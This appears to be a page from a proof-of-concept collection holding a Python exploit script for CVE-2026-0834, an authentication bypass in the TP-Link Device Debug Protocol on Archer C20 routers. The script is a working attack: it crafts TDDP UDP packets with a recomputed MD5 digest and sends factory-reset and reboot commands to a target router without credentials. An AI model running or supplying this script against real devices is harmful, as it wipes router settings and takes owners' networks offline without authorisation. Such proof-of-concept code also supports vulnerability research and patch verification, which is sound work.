4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2026-0834.py PY
#!/usr/bin/env python3
"""
TP-Link Device Debug Protocol (TDDP) Authentication Bypass (CVE-2026-0834)
Author: Matt Graham (mattgsys)
CVE: CVE-2026-0834

Tested on:
- TP-Link Archer C20 V6, firmware 0.9.1 Build 4.20 (emulation)
- TP-Link Archer C20 V6, firmware 0.9.1 Build 4.19 (EU, hardware)

Memory offsets and command values may vary on other devices/versions.

This script sends factory reset (0x49) and reboot (0x4A) commands to the target device.
"""

import socket
import struct
import hashlib
import time

TARGET_IP = '192.168.0.1'
TARGET_PORT = 1040
SOURCE_PORT = 54321

def build_tddp_packet(version, msg_type, code=1, reply_info=0,
                      pkt_length=0, pkt_id=1, sub_type=0, reserved=0,
                      md5_digest=b'\x00' * 16):
    """Build TDDP packet header"""
    header = struct.pack('>BBBBIHBB',
        version, msg_type, code, reply_info,
        pkt_length, pkt_id, sub_type, reserved
    )
    return header + md5_digest


def calculate_md5(packet):
    """Calculate and update MD5 digest for TDDP packet"""
    packet = bytearray(packet)
    packet[12:28] = b'\x00' * 16
    packet[12:28] = hashlib.md5(packet[:28]).digest()
    return bytes(packet)


def send_packet(packet, host=TARGET_IP, port=TARGET_PORT):
    """Send UDP packet to TDDP service"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('', SOURCE_PORT))
    sock.settimeout(1)

    try:
        sock.sendto(packet, (host, port))
        data, addr = sock.recvfrom(4096)
        print(f"[+] Response from {addr}: {data.hex()}")
        return True
    except socket.timeout:
        print("[-] No response")
        return False
    finally:
        sock.close()


if __name__ == "__main__":
    print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}")

    # Factory reset (0x49)
    print("[*] Sending factory reset command (0x49)...")
    header = build_tddp_packet(version=2, msg_type=7, pkt_length=0)
    header = calculate_md5(header)
    payload = b'\x00' * 10 + b'\x49' + b'\x00' * 4
    send_packet(header + payload)

    print("[*] Waiting 1 second...")
    time.sleep(1)

    # Reboot (0x4A)
    print("[*] Sending reboot command (0x4A)...")
    header = build_tddp_packet(version=2, msg_type=7, pkt_length=0)
    header = calculate_md5(header)
    payload = b'\x00' * 10 + b'\x4A' + b'\x00' * 4

    send_packet(header + payload)